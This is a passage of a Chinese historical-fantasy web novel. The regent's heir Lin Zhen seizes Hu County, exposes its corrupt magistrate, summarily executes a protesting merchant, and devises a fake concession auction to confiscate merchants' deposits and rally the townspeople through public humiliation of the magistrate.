绝对的死寂瞬间笼罩了县衙大门内外! 所有挤在门口、伸长了脖子、脸上带着精明与焦灼的商贾们,如同被无形的巨手扼住了喉咙! 他们脸上的表情瞬间凝固,眼睛瞪得溜圆,嘴巴无意识地张开,目光齐刷刷地聚焦在这个骤然出现的、散发着难以形容威势的年轻贵人身上! 那身华贵到令人窒息的衣料! 那腰间悬挂的、在夕阳余晖下流淌着温润光泽的游龙玉佩! 那紧随其后、如同铁塔般沉默矗立、眼神锐利如鹰隼的贴身护卫(青霞)! 以及那辆庞大得如同移动宫殿、此刻正静静停在泥泞街道上的奢华马车! 这一切都无声地宣告着来者身份的非同凡响! 绝非寻常权贵! 更非他们这些商人能够招惹的存在! 就在这令人窒息的寂静中,林臻身后的毛梦极动了! 他如同出鞘的利刃,猛地踏前一步,声音嘶哑却带着金铁交鸣般的杀气,清晰传遍全场: “金吾卫听令!” “在!”身后五千精锐如同一个人般,发出低沉而整齐的回应! 铠甲碰撞声汇成一片肃杀的金属风暴! “一队!即刻接管沪县城防!四门落锁!许进不许出!违令者,斩!” “二队!三队!驻守县衙!封锁所有出入口!维持县城治安!有胆敢趁乱滋事、冲击县衙者,格杀勿论!” “其余人等,原地待命!护卫殿下!” “得令!”传令兵嘶吼着应命,随即如同离弦之箭般奔向各自目标! 整个金吾卫方阵瞬间如同精密的齿轮般高速运转起来! 沉重的脚步声、铠甲摩擦声、低沉的号令声汇成一股令人心悸的洪流! 毛梦极本人则带着几名眼神如同饿狼般凶狠的亲兵,大步上前! 他们如同一柄烧红的烙铁,狠狠插入那堵在县衙门口、尚未从震惊中回过神来的商贾人墙! “让开!” “滚开!挡路者死!” 毛梦极的声音如同冰锥,带着毫不掩饰的杀意! 他枯瘦却蕴含着爆炸性力量的手臂猛地一推! 几个挡在最前面、穿着锦袍、体态臃肿的商人如同滚地葫芦般被粗暴地推开,踉跄着摔倒在泥泞的地上,沾了一身污秽,发出惊恐的尖叫! 其余商人如梦初醒,如同躲避瘟疫般尖叫着向两侧疯狂退散! 瞬间在县衙大门前清出一条宽阔的通道! 通道尽头,便是那扇低矮破旧、此刻却显得无比森严的县衙大门! 就在此时,县衙内一阵慌乱急促的脚步声传来。 一个穿着青色七品鸂鶒补服、身材微胖、脸色因惊吓而煞白的中年男人,连滚爬带地从门内冲了出来。 他头上的乌纱帽都歪了,官袍下摆沾着尘土,显然是被外面的动静惊得魂飞魄散。 此人正是沪县县令——王有德?! 王有德冲出大门,一眼就看到了被一群杀气腾腾的黑甲士兵簇拥在中央、如同神祇般站在泥泞中的林臻! 他心脏猛地一缩,一股寒气从脚底板直冲天灵盖! 他强压下心中的恐惧,努力挺直腰板(虽然效果甚微),声音带着明显的颤抖和色厉内荏: “大胆!你们……你们是何人?!竟敢强闯县衙重地?!可知这是杀头的罪过?!” 他试图用官威来掩饰内心的恐慌。 林臻的目光如同冰冷的刀锋,缓缓扫过王有德那张因恐惧而扭曲的胖脸,声音平淡无波,却带着千钧重压: “我乃摄政王世子,林臻。” “嗡——!” 如同平地惊雷! 王有德只觉得脑袋“嗡”的一声,眼前一黑,差点当场晕厥过去! 摄政王世子?! 那个权倾朝野、让皇帝亲自侍寝的世子?! 他怎么会来这鸟不拉屎的沪县?! “从今日起,”林臻的声音如同冰冷的铁律,不容置疑地砸下,“沪县,由本世子接管。” 话音未落,林臻已不再理会呆若木鸡的王有德,迈开长腿,径直朝着县衙大门走去! 毛梦极和几名亲兵如同最忠诚的恶犬,紧紧护卫在侧,锐利的目光扫视着任何可能存在的威胁。 王有德脸色瞬间由白转青,再由青转紫! 他想阻拦,想辩解,想求饶,可林臻那不容置疑的语气和那排山倒海般的威势,让他所有的话都堵在了喉咙里,只剩下无尽的恐惧和绝望! 他只能眼睁睁看着林臻的身影越过他,消失在县衙大门内那幽暗的光线中! 他如同被抽干了所有力气,双腿一软,差点瘫倒在地,慌忙连滚爬带地跟了进去,嘴里语无伦次地喊着:“世子……世子殿下!您听下官解释……下官……” ??林臻根本不搭理他,继续往前走。 踏入县衙内堂,一股浓重的、混合着劣质熏香、汗味和一种难以言喻的金钱气息扑面而来。 与外面破败的景象截然不同,这内堂显然被精心布置过。 虽然家具陈旧,但擦拭得一尘不染。 正对着门的墙壁上挂着一幅明镜高悬的匾额,只是那金漆早已剥落大半,显得有些讽刺。 此刻,内堂里并非空无一人。 几张破旧的太师椅上,还坐着几位衣着光鲜、油光满面的商贾。 他们显然是被外面的动静惊扰,脸上还残留着被打断交易的错愕和不悦。 但当他们看到在一群杀气腾腾的黑甲士兵簇拥下走进来的林臻时,所有的不满瞬间化为了惊骇! 尤其看到沪县县令王有德如同丧家之犬般跟在后面,更是吓得魂飞魄散! 更引人注目的是,在内堂另一侧的空地上,赫然摆放着几口敞开的大木箱! 箱内金光灿灿,银光闪闪! 成锭的金元宝、码放整齐的银饼子、还有各色珍珠、玛瑙、翡翠、玉器等珠宝首饰,在透过窗棂的夕阳余晖下,散发着令人炫目的诱人光芒! 空气中弥漫着一股浓烈的、混合着金属和脂粉的奇异香气! 这巨大的财富与这破败的县衙、与外面那些面黄肌瘦的百姓形成了触目惊心的对比! 林臻的目光如同探照灯般扫过那几个惊骇的商贾,最终落在了那堆散发着铜臭的金银珠宝上。 他嘴角勾起一抹冰冷的弧度,如同寒冬的冰棱。 他径直走到内堂主位那张宽大的、铺着半旧虎皮的太师椅上坐下,姿态从容,仿佛他才是这里真正的主人。 他抬眼,目光如同实质般落在刚刚踉跄跟进来的王有德身上,声音不高,却带着洞穿人心的力量: “王县令,”林臻指了指那堆刺眼的金银,“这些都是你收的黑钱?” 第639章 你还有什么要解释的吗 “噗通!” 王有德如同被抽掉了脊梁骨,双腿一软,重重跪倒在地! 额头上的冷汗如同小溪般流淌下来,瞬间浸湿了官袍的前襟。 他双手撑地,身体抖如筛糠,声音带着哭腔,语无伦次地辩解: “世子殿下明鉴啊!冤枉,天大的冤枉!这些都是都是这些商贾们来买土地的定金!是买地的钱啊!下官只是代为保管,代为保管!绝无半分贪墨之心!下官在沪县为官多年,兢兢业业,两袖清风,爱民如子,苍天可鉴啊殿下!” 他一边说,一边用力磕头,额头撞击在冰冷的地砖上发出“砰砰”的闷响,试图用这种卑微的姿态博取一丝怜悯。 “兢兢业业?两袖清风?”林臻轻笑一声,那笑声里充满了毫不掩饰的嘲弄,“王县令,你这官袍下的清风,怕不是用金丝银线织成的吧?” 王有德身体猛地一僵,磕头的动作停了下来,脸上血色尽褪,只剩下惨白。 林臻不再看他,目光转向内堂一侧的巨大山水屏风,淡淡开口:“二狗。” “属下在!” 一个如同鬼魅般的身影,悄无声息地从屏风后转了出来! 正是林臻在年前偷偷成立的调查暗卫,而二狗就是头目?! 他身材瘦小,穿着一身毫不起眼的黑色夜行衣,脸上蒙着黑巾,只露出一双精光四射、如同老鼠般机警的小眼睛,尖嘴猴腮的模样透着一股市井的油滑和狡黠。 他对着林臻单膝跪地,动作干脆利落。 “说说吧。”林臻的声音依旧平淡。 二狗抬起头,声音带着一种刻意压低的沙哑,却清晰无比地传入每个人的耳中:“回禀世子!属下奉令于三日前抵达沪县,暗中查访王有德县令及其亲眷、产业。” 他语速极快,如同倒豆子般,条理清晰: “其一,经查证,沪县县城西北、东南两处,以及城外沿江三处共计五座大庄园,占地近千亩,其地契虽分散于不同人名下,但最终皆指向王有德之妻弟、表侄等亲眷!这些庄园皆由本地百姓充当佃户,租税高达七成!” “其二,在其位于县衙后宅卧房地窖深处,掘出埋藏之白银共计三万七千两!黄金一千二百两!另有珠宝玉器两箱!价值难以估量!” “其三,据其心腹管家招供,王有德自上任以来,巧立名目,盘剥百姓,收受商贾贿赂,为其强占土地、压低工价、逃避税赋提供庇护!其贪墨所得,远超眼前这些!” 二狗顿了顿,那双小眼睛里闪烁着洞悉一切的精光,补充道:“其四,属下查访期间,发现其府中豢养打手数十,欺压乡里,鱼肉百姓!更有数起命案与其有关,苦主状告无门,反遭其迫害!” 每一条罪状,都如同重锤,狠狠砸在王有德的心上! 他跪在地上的身体剧烈颤抖起来,脸色由白转灰,最后变成一片死寂的绝望! 他万万没想到,世子的人竟然如此神通广大! 短短三日,竟将他隐藏多年的秘密、埋藏最深的财富,如同剥洋葱般一层层剥开,暴露在光天化日之下! 连他埋在地窖最深处的棺材本都被挖了出来! 这简直是神鬼手段! 林臻听完,脸上没有任何意外,只是微微颔首,目光重新落回如同烂泥般瘫在地上的王有德身上,声音带着一丝冰冷的玩味: “王县令,现在你还有什么要解释的吗?” “噗通!” 王有德彻底崩溃了! 最后一丝侥幸被无情碾碎! 他如同被抽走了所有骨头,整个人瘫软在地,涕泪横流,发出杀猪般的嚎哭和求饶: “世子饶命啊!饶命啊!下官该死,下官糊涂!下官是被猪油蒙了心,是被钱财迷了眼啊!求世子开恩!给下官一条活路吧!下官愿意做牛做马,愿意献出所有家产,只求世子饶下官一条狗命啊,呜呜呜……” 他一边哭嚎,一边用额头疯狂地撞击着地面,鲜血混着泪水鼻涕糊了一脸,状若疯癫,卑微下贱到了极点。 林臻看着他这副丑态,眼中闪过一丝毫不掩饰的厌恶。 他微微蹙眉,似乎被这哭嚎声吵得心烦,随意地摆了摆手:“行了!能不能活命,看你自己的表现。” 如同溺水者抓住了最后一根稻草! 王有德猛地止住哭嚎,抬起那张血泪模糊、狼狈不堪的脸,眼中爆发出狂喜的光芒,如同抓住救命稻草般嘶声喊道:“世子!世子您说!只要您饶了下官这条狗命!下官什么都愿意做!赴汤蹈火!在所不辞!” “很简单。”林臻的声音如同寒冰,“把你这些年贪墨受贿的所有事情,一笔一笔,给本世子写清楚!时间、地点、人物、数额、事由,一个细节都不许遗漏!包括,” 他目光扫过那几个早已吓得面无人色、缩在椅子角落里的商贾,“包括所有向你行贿、与你勾结的商贾姓名、商号!” 王有德闻言,脸上狂喜的表情瞬间凝固,随即化为一种极其复杂的扭曲! 恐惧、犹豫、挣扎……最终,对死亡的恐惧压倒了一切! 他猛地点头,如同小鸡啄米:“写!写!下官……下官不用写!” 他像是想起了什么,眼中闪过一丝异样的光芒,急切地说道:“世子!下官有个私密的账本,上面都记得清清楚楚,所有的事情,所有的钱,所有的名字!都在上面!都在上面啊!”他仿佛看到了生的希望,声音都激动得变了调。 “哦?”林臻眼中闪过一丝精光,“账本?在何处?” “在……在……”王有德犹豫了一下,但看到林臻那冰冷的目光,立刻不敢再迟疑,“在县衙后宅书房,书架后面有个暗格!账本……账本就藏在里面!” “毛梦极!”林臻立刻下令。 “末将在!”毛梦极如同鬼魅般出现在王有德身后。 “带几个人,押着他,去取账本!若敢耍花样……呵。”林臻的声音陡然转寒。 “末将明白!”毛梦极眼中凶光一闪,一把将瘫软的王有德如同拎小鸡般提了起来,声音如同来自地狱,“王县令,请吧!最好别让末将亲自动手!” 他枯瘦的手指如同铁钳般扣在王有德的后颈上,带来刺骨的寒意和剧痛! 王有德吓得魂飞魄散,连声道:“不敢!不敢!下官这就带路!这就带路!” 在几名如狼似虎的金吾卫士兵押解下,他踉踉跄跄、连滚爬带地被拖向后宅方向。 第640章 关于息壤的土地买卖,就此作罢 这一幕,把内堂里那几位侥幸未被点名的商贾彻底看傻了! 他们如同被施了定身法,僵在椅子上,脸色惨白如纸,豆大的汗珠从额头滚滚而下! 看着王有德被如同死狗般拖走,看着那堆散发着诱人光芒的金银珠宝,再看着端坐主位、神情淡漠如同神祇的林臻……他们只觉得一股寒气从尾椎骨直冲头顶! 这位世子殿下……哪里是来接管沪县的? 分明是来刮骨疗毒、抄家灭门的阎王啊! 就在这时,林臻的目光终于落在了他们身上。 那目光平静无波,却带着一种洞穿灵魂的冰冷压力。 “诸位,”林臻的声音打破了死寂,“关于息壤的土地买卖,就此作罢。本世子宣布,所有未经朝廷正式许可的土地交易契约一律无效。” 他顿了顿,语气带着不容置疑的决断,“现在带着你们的东西,离开县衙。沪县特区的一切规则,将由本世子重新制定。日后若有合作,自会另行公告。” “无效?!” “契约无效?!” “那我们交的钱怎么办……” 一个穿着团花锦缎、身材肥胖、似乎是领头人物的商贾,终于按捺不住巨大的损失和憋屈,猛地从椅子上弹了起来! 他脸上肥肉抖动,声音因为激动和愤怒而变得尖利: “世子殿下!你这不合规矩啊!我们都是本本分分做生意的,这契约是和王县令签的,钱也交了,白纸黑字,画押为凭!您不能一句话就就明抢啊!这这还有王法吗?!” 他试图用“王法”来给自己壮胆,声音却带着明显的颤抖。 林臻的目光缓缓转向他,那眼神平静得可怕,如同深渊寒潭,没有丝毫波澜。 他没有动怒,甚至没有提高声调,只是对着那个肥胖的商贾,轻轻地、如同拂去一粒尘埃般,扬了扬下巴。 “聒噪。” 两个字,轻飘飘落下。 “唰!” 如同得到军令,毛梦极手下两名亲兵如同两道黑色闪电,瞬间从林臻身后扑出! 一人反手捂住那肥胖商贾的嘴,另一人如同铁钳般锁住他的双臂! 那商贾惊恐地瞪大眼睛,发出“呜呜”的闷哼,肥胖的身体如同待宰的肥猪般拼命挣扎,却被两名如狼似虎的士兵死死制住! “拖出去。”林臻的声音依旧平淡。 “砍了。”两个字,如同冰珠砸落玉盘,清脆而致命! “遵命!”两名士兵如同拖死狗般,将那个还在徒劳挣扎、眼中充满巨大恐惧和难以置信的肥胖商贾,毫不留情地拖出了内堂! 沉重的脚步声和那压抑的“呜呜”声迅速远去,消失在县衙深处。 “噗通!” “噗通!” 内堂里剩下的几个商贾,如同被抽掉了所有力气,腿一软,直接从椅子上滑落,瘫跪在地! 他们面无人色,牙齿打颤,浑身抖如筛糠! 空气中弥漫开一股淡淡的骚臭味——有人吓尿了! 死寂! 比之前更加恐怖的死寂笼罩了内堂! 只有那堆金银珠宝,依旧散发着冰冷而讽刺的光芒。 终于,一个看起来稍微机灵些的中年商贾,强撑着几乎要瘫倒的身体,哆哆嗦嗦地爬了起来。他脸色惨白,嘴唇哆嗦着,对着林臻的方向深深作揖,声音带着哭腔和极致的恐惧: “世子殿下息怒!息怒!小人该死,小人糊涂!小人只是来找王县令商量点事情,还没商量出结果呢!小人这就走,这就走!敢打扰殿下处理公务!” 他一边说,一边恋恋不舍、心如刀绞地看了一眼自己送来的那箱银饼子,最终狠狠一咬牙,如同割肉般,头也不回地、跌跌撞撞地冲出了内堂大门! 仿佛身后有恶鬼在追! 有了第一个榜样,剩下的商贾如同大梦初醒! 求生的本能压倒了对金钱的贪婪! 他们连滚爬带地爬起来,连看都不敢再看林臻一眼,更顾不上那堆曾经让他们垂涎三尺的金银珠宝,如同丧家之犬般,争先恐后地、狼狈不堪地逃离了这如同阎罗殿般的内堂! 转眼间,刚才还人声鼎沸、充斥着金钱气息的内堂,变得空空荡荡,只剩下林臻、青霞、橙萱以及那堆散发着冰冷光泽的金银珠宝。 空气里弥漫着劫后余生的恐惧和一种令人心悸的寂静。 就在这时,一阵轻盈的脚步声从内堂通往二堂的屏风后传来。 张俪、浣碧、晴雯三女的身影转了出来。 她们先去了后宅,然后又回来,一直在屏风后静静观察着刚才那场惊心动魄的权力交接与雷霆处置。 张俪走在最前面,她脸上带着一丝洞察世事的了然和淡淡的讥诮,目光扫过那堆刺眼的金银,最后落在端坐主位、神情淡漠的林臻身上。 “夫君,”张俪的声音带着一丝玩味,打破了沉寂,“这贪官你打算怎么处置?是直接砍了以儆效尤?还是……” 她唇角勾起一抹精明的弧度,“废物利用一下?” 林臻端坐于主位太师椅上,手指无意识地摩挲着腰间温润的游龙玉佩,目光深邃地掠过地上那堆散发着冰冷光泽的金银珠宝,最后落在张俪那双闪烁着睿智光芒的凤眸上。 这时,王有德连跑带颠的回来了,噗通一声跪下,双手呈上一个账本。 毛梦极把账本接过来递给林臻,林臻随意翻了翻,看了看,便冷笑着说:“王县令,你这条狗命,想不想要?” 王有德如同被踩了尾巴的猫,猛地一哆嗦,涕泪横流地连连磕头,额头撞在冰冷的地砖上砰砰作响:“要!要!世子殿下开恩!下官这条狗命是世子给的!世子让下官做什么,下官就做什么!绝无二话!绝无二话啊!” “很好。”林臻满意地点点头,眼神却更加冰冷,“你的命,本世子暂时留着。但能不能活到寿终正寝,就看你的表现了。” 他顿了顿,声音带着不容置疑的命令: “第一,把你这个账本签字画押!” “第二,把你名下,以及你所有亲眷名下,所有的不义之财,田产、宅院、商铺、金银珠宝、古董字画,所有东西全部登记造册,即刻封存!这些,都是赃物!充公!” “第三,”林臻的目光陡然变得锐利如刀,“把你这些年搜刮民脂民膏、巧取豪夺得来的那些合法地契、房契、商铺契约,所有你能拿出来的、盖着沪县县衙大印的合法文书,全部整理出来!一份不许少!” 王有德听得心惊肉跳,尤其是第三条,让他隐隐感到一丝不祥的预感。 但他此刻命悬一线,哪敢有半分犹豫? 连忙如同捣蒜般磕头:“是!是!下官遵命!下官这就去办!这就去办!绝不敢有丝毫隐瞒!” “毛梦极!”林臻沉声道。 “末将在!”毛梦极如同幽灵般出现在王有德身后。 “带他下去。看着他写!看着他交!看着他整理!”林臻的声音带着刺骨的寒意,“派你最得力的亲兵,寸步不离!他写下的每一个字,交出的每一张纸,封存的每一锭银子,都要登记造册,由你亲自核对!若有半分隐瞒、遗漏、或者试图销毁证据……” 林臻的目光扫过毛梦极枯瘦却蕴含着恐怖力量的手,“你知道该怎么做。” 毛梦极眼中凶光一闪,嘴角咧开一个狰狞的笑容,露出森白的牙齿:“末将明白!殿下放心!他敢耍半点花样,末将就让他尝尝‘寸芒’弩箭穿心是什么滋味!” 他枯瘦的手指轻轻抚过腰间悬挂的、闪烁着幽冷寒光的精钢手弩。 王有德吓得魂飞魄散,连声道:“不敢!不敢!下官绝对不敢!” 他几乎是连滚爬带地被两名如狼似虎的金吾卫士兵拖了下去,毛梦极紧随其后,如同押解死囚。 第641章 五十万两一点都不多 内堂再次恢复了寂静,只剩下林臻、张俪、浣碧、晴雯、橙萱以及那堆散发着讽刺光芒的金银。 张俪走到林臻身边,看着王有德被拖走的方向,眼中闪烁着洞悉一切的光芒:“夫君,你让他交出那些合法的地契房契。是想以其人之道,还治其人之身?” 她似乎猜到了林臻的意图,唇角勾起一抹了然的笑意。 林臻端起橙萱重新奉上的热茶,轻轻吹了吹浮沫,眼神深邃如同寒潭:“沪县要建特区,需要钱。大量的钱。修路、筑港、建城、安置流民、招募工匠,哪一样不是金山银海往里填?光靠王府那点家底,远远不够。朝廷的拨款更不用指望。” 他放下茶盏,目光扫过地上那堆金银,带着一丝不屑:“眼前这点东西,不过是九牛一毛。王有德这些年搜刮的民脂民膏,加上他那些田产宅子,顶多能解一时燃眉之急,支撑不了整个特区的建设。” 他的声音陡然转冷,带着一种掌控全局的冷酷算计:“真正的大鱼是外面那些闻着息壤味儿、被神土冲昏了头脑的商贾!他们手里攥着的,才是足以撬动整个沪县特区的金山银海!” 张俪眼中精光爆射:“夫君是想用王有德做饵?用他手里的那些合法文书做钩子?” “没错!”林臻嘴角勾起一抹冰冷的弧度,“王有德在沪县经营多年,盘根错节。他手里那些盖着县衙大印的合法地契房契,虽然来路不正,但在官府文书上,却是合法有效的!这就是最好的钩子!” 他站起身,踱步到窗前,望着外面渐渐沉入暮色的破败县城,声音带着一种翻云覆雨的决断: “我要让王有德,以沪县县令的名义,发布一道‘招商令’!” “招商令?”张俪、浣碧等人眼中都露出好奇之色。 “对!”林臻转过身,眼中闪烁着精光,“以开发息壤神土,振兴沪县经济为名!宣布沪县将设立经济特区,由朝廷主导开发!同时,为了筹集建设资金,回馈乡梓,特此公开拍卖沪县境内,包括崇明沙洲及其周边区域在内,共计……嗯,就划他个十万亩的特许开发经营权吧!” “特许开发经营权?”张俪瞬间抓住了关键,眼中爆发出巨大的惊喜和钦佩,“夫君高明!此计大妙!” 林臻点点头,继续道:“这特许开发经营权,期限定为三十年!拍得者,可在划定区域内,按照朝廷统一规划,进行土地开发、港口建设、商业运营、工坊开设,享有三十年的独家经营权和收益权!到期后,土地及地上附着物收归朝廷所有!” 他顿了顿,声音带着一丝狡黠:“当然,这经营权的拍卖门槛要高!非常高!首先,参与竞拍者,需缴纳一笔巨额的竞拍保证金!嗯……就定白银五十万两吧!而且,只接受现银或等值的金子、盐引、粮票!概不赊欠!” “五十万两?!”晴雯忍不住惊呼出声,小嘴张成了O型,“夫君!这……这也太多了吧?哪个商人能一下子拿出这么多现银?” 林臻看了她一眼,眼中带着一丝“”你还是太年轻”的笑意:“多?对于真正的大海商、大盐商、大粮商来说,五十万两现银,不过是他们库房里的一角!更何况,这可是息壤神土!是能带来神龟驮负般无穷财富的聚宝盆,是三十年独霸一方的垄断经营权,这点保证金,在他们眼中,不过是敲门砖!是值得豪赌一把的入场券!” 他语气笃定:“相信我,只要消息放出去,那些被息壤传说刺激得红了眼的巨贾,砸锅卖铁也会凑够这笔钱!甚至会为了争夺这‘入场券’,私下里互相拆借、倾轧!” 张俪已经完全明白了林臻的意图,她接口道,声音带着兴奋:“夫君的意思是用这特许经营权作为诱饵,吸引那些巨贾缴纳巨额保证金!而这笔钱一旦进了我们的口袋……” 她眼中闪烁着商界女王特有的精明光芒,“可就由不得他们了!” “没错!”林臻眼中寒光一闪,“拍卖会由王有德这个沪县县令亲自主持!地点,就设在县衙!时间嘛,越快越好!就在一个月后!营造一种时不我待、机不可失的紧张氛围!” 这也是没办法,古代车马慢,消息传出去到他们商量,最后再来沪县是需要一定时间的。 “拍卖过程,要搞得声势浩大!金碧辉煌!让那些商人觉得,拍下这经营权,就是拿到了通往金山银海的钥匙!让他们争!让他们抢!把价格抬得越高越好!最好能炒到天上去!” “然后呢?”浣碧轻声问道,眼中带着一丝不忍,“夫君,等他们拍下了,交了钱,我们真的要把那十万亩地给他们吗?” “给他们?”林臻嗤笑一声,如同听到了天大的笑话,“怎么可能?!” 他的声音陡然转冷,带着一种掌控一切的冷酷: “等拍卖结束,商贾的血也就差不多干了!王有德这个沪县县令的使命也就完成了!到时候,本世子会亲自出面!” 林臻走到主位前,猛地一拍桌子! “啪!” 一声脆响,震得茶杯都跳了一下! “本世子会当众宣布!经查,原沪县县令王有德,贪赃枉法,欺君罔上!其主持拍卖的所谓特许开发经营权,所依据的土地权属文书,皆为其贪墨所得,来源非法!其拍卖行为,未经朝廷授权,纯属个人欺诈!因此,本次拍卖结果无效!所有交易契约作废!” 他眼中闪烁着如同寒冰般的光芒: “至于那些缴纳的巨额保证金……”林臻嘴角勾起一抹冷酷而狡黠的弧度,“既然是赃款,自然要依法——没收充公!用于沪县特区之建设!” “嘶——!” 内堂里响起几声压抑不住的倒吸冷气声!连一向沉稳的张俪和青霞,眼中都露出了震撼之色! 好狠! 好绝! 好一个釜底抽薪,空手套白狼! 利用王有德这个必死的贪官做傀儡,发布虚假的招商令和拍卖公告;利用息壤神迹的传说和特许经营权的巨大诱惑,吸引贪婪的商贾缴纳天文数字的保证金;再利用王有德自身的罪行,在拍卖结束后瞬间翻脸,宣布拍卖无效,契约作废,将巨额保证金以“没收赃款”的名义合法吞没! 这一套组合拳下来,环环相扣,天衣无缝! 那些被息壤冲昏头脑的商贾,就如同被精心设计的捕兽夹夹住的猎物,投入的巨额保证金血本无归,却连喊冤的地方都没有! 因为从表面上看,是贪官王有德欺诈了他们,而英明神武的世子殿下,只是依法惩处贪官,没收赃款,为民除害! 他们只能打落牙齿和血吞! “高!实在是高!”张俪由衷赞叹,眼中充满了对林臻的钦佩,“夫君此计,可谓算无遗策!既清除了贪官污吏,又为特区建设筹集了海量资金,更将那些投机倒把、妄图垄断神土的奸商玩弄于股掌之间!一石三鸟!绝妙!” 浣碧和晴雯也明白了过来,晴雯更是兴奋地拍手:“夫君太厉害了!那些奸商活该!让他们想占便宜!这下赔死他们!” 林臻脸上却并无太多得意之色,他目光深邃,望向窗外沉沉的暮色:“这只是第一步。钱,只是工具。如何用这些钱,真正地建设沪县,造福一方,让这片息壤之地真正成为大乾未来的财富之源,才是真正的考验。” 他收回目光,看向张俪:“俪儿,接下来的事情,需要你多费心。王有德那边,毛梦极会盯死他。拍卖会的具体操办、场地布置、消息散布、以及如何让那些商人相信这场拍卖的真实性和权威性,如何把气氛炒热,如何让他们心甘情愿地掏出那五十万两保证金,这些,你是行家。” 张俪眼中闪烁着自信的光芒,微微颔首:“夫君放心。玩弄人心,操控商贾,制造势,本就是妾身的老本行。这场戏,妾身定会把它唱得轰轰烈烈,让那些商人争先恐后地把银子送上门来!” “好!”林臻点头,“二狗!” “属下在!”屏风后,如同影子般的二狗再次无声无息地出现。 “你立刻带人,动用所有暗线,将沪县发现息壤、本世子即将在沪县设立经济特区、以及一个月后由县令王有德亲自主持拍卖特许开发经营权的消息,用最快的速度,最夸张的方式,散播出去!目标——扬州、金陵、杭州、苏州、松江,反正就是所有江南富庶之地!所有有实力的大海商、大盐商、大粮商、丝绸巨贾,我要让这个消息,如同瘟疫般,一夜之间传遍整个江南!让那些商人,如同闻到血腥味的鲨鱼,不顾一切地扑向沪县!” “属下遵命!”二狗眼中精光一闪,躬身领命,身形一晃,再次消失在阴影之中。 林臻的目光最后落在橙萱身上:“萱萱,县衙的安全和王有德的看守,交给你。拍卖会当日,会场内外,必须绝对掌控!任何胆敢闹事、质疑、或者试图武力反抗者……” 他眼中寒芒一闪,“杀无赦!” “是!”橙萱抱拳领命,声音冷冽如冰,周身散发出凛冽的杀气! 内堂再次安静下来。 夕阳的最后一丝余晖透过窗棂,在地面上投下长长的、扭曲的影子。 林臻独自立于窗前,望着外面这座被暮色笼罩、破败而麻木的县城。 他的身影在光影中显得格外高大而孤寂。 第642章 踩在人心的脆弱上 县衙内堂,门窗紧闭,隔绝了外面初起的喧嚣。 空气中还残留着昨夜审讯王有德留下的淡淡血腥味和墨汁的涩气。 林臻换了一身素雅的月白常服,负手立于窗前,望着庭院中一株在破败中顽强抽出新芽的老槐树。 晨光透过窗棂,在他挺拔的身影上镀上一层淡金。 萧寒舟垂手侍立在不远处,一身崭新的靛青儒衫衬得他身姿如松。 他眉头微蹙,似乎在消化着刚刚的惊涛骇浪,眼神中带着初涉权谋的凝重与思索。 这位新科状元,在经历了王府拜师的激动后,第一次直面如此赤裸而冷酷的政治操作,内心受到的冲击可想而知。 “寒舟。”林臻的声音打破了沉寂,他并未回头,目光依旧落在窗外。 “弟子在。”萧寒舟连忙躬身应道。 “你觉得,眼下这盘棋如何才能盘活?” 萧寒舟深吸一口气,努力平复心绪,将这几日所见所闻、所学所思在脑中飞快梳理,谨慎答道:“回师父,弟子以为当务之急乃是活民。百姓面黄肌瘦,衣不蔽体,行走皆无力气,谈何建设?故弟子以为,应先开仓放粮,广设粥棚,让饥民得以果腹。待民力稍复,再行修路之策。师父早年有言要致富,先修路,弟子认为此乃至理名言。然无饱腹之力,何来修路之工?” 他顿了顿,补充道:“且弟子观沪县百姓,神情麻木,眼中无光,似对官府已彻底绝望。若贸然征发劳役,恐激起民变,适得其反。故施粥赈济,亦是收拢人心之举。” 林臻静静地听着,脸上并无波澜。 待萧寒舟说完,他嘴角缓缓勾起一抹意味深长的笑意,那笑容中带着洞悉世事的了然和一丝对弟子尚显稚嫩的宽容。 “寒舟,你看到了活民之要,看到了修路之利,也看到了民心之危。很好。” 他踱步走近,声音低沉而清晰,“但你忘了一点,或者说,你尚未真正理解一点。” 他停下脚步,目光如炬,直视萧寒舟:“为官者,尤其是欲行非常之事者,最需懂得利用的,并非仅仅是钱粮、劳力,而是人心深处翻涌的情绪?!这情绪,非是教你去作恶,而是要将其引导、点燃、化为己用!” 萧寒舟眼中闪过一丝明悟,但更多的还是困惑:“情绪?师父是指……” “王有德!”林臻的声音陡然转冷,如同冰刀刮过, “他在沪县盘踞多年,如同附骨之疽!百姓对他早已不是麻木,而是刻骨的恨!滔天的怨!只是这恨与怨,被长久的压迫和绝望所掩埋,如同地底奔涌的岩浆,只差一个宣泄的出口!” 他走到书案前,手指重重地点在王有德签字画押、按满血手印的《认罪状》和《行贿名录》上! “王有德,罪证确凿,死有余辜!但让他现在就死,那也太便宜他了,也太浪费了!” 林臻眼中闪烁着冷酷而精明的光芒: “我要让他活着,像一条被拔了牙、剥了皮的癞皮狗一样活着,我要把他塞进囚车,在沪县的大街小巷,在所有被他欺压过的百姓面前游街示众!” “让那些积压了十几年、几十年的屈辱、愤怒、仇恨如同火山般喷发出来!让百姓亲眼看着这个曾经高高在上的父母官,是如何变成一条人人喊打的落水狗,让他们用唾沫、用烂菜叶、用污泥,去发泄!去咒骂!去感受那种大仇得报的快意!” 他的声音带着一种煽动性的力量。 “而本世子就是那个为他们主持公道、带来光明的青天大老爷!不是又一个来沪县刮地皮的贪官,是替天行道、为他们雪恨伸冤的救星!唯有如此,百姓才会真正相信我!才会觉得跟着我林臻,有盼头,有活路,有仇可报!有冤可申!唯有如此,他们麻木的心才会被重新点燃!才会心甘情愿地、甚至带着一种报恩般的狂热,投入到我们即将掀起的建设大潮中去!这才是真正的活民,活的是他们的心气!是他们的希望!” 萧寒舟听得心神剧震! 他从未想过,人心、情绪,竟能被如此精准地剖析、引导、利用! 师父的手段,已不仅仅是权谋,更近乎于操控人心! 他下意识地躬身,心悦诚服:“师父洞悉人心,运筹帷幄,弟子受教!只是……” 他抬起头,眼中带着一丝忧虑,“如此公开羞辱王有德,将其威信彻底踩入泥潭,那一个月后的拍卖会还需他出面主持,以县令身份取信于商贾,这威信扫地之人,如何还能……” “威信?”林臻嗤笑一声,打断他,眼中闪烁着智珠在握的光芒,“寒舟,你还是太年轻。在绝对的利益面前,商贾的鼻子比狗还灵!他们关心的,从来不是什么县令的威信!他们只关心两样东西——息壤神土带来的巨大利益,以及这场拍卖是否由朝廷背书,是否具备合法性!?” 他拿起那份盖着沪县县衙大印(已被毛梦极控制)的《拍卖预告》(张俪草拟),在萧寒舟面前晃了晃: 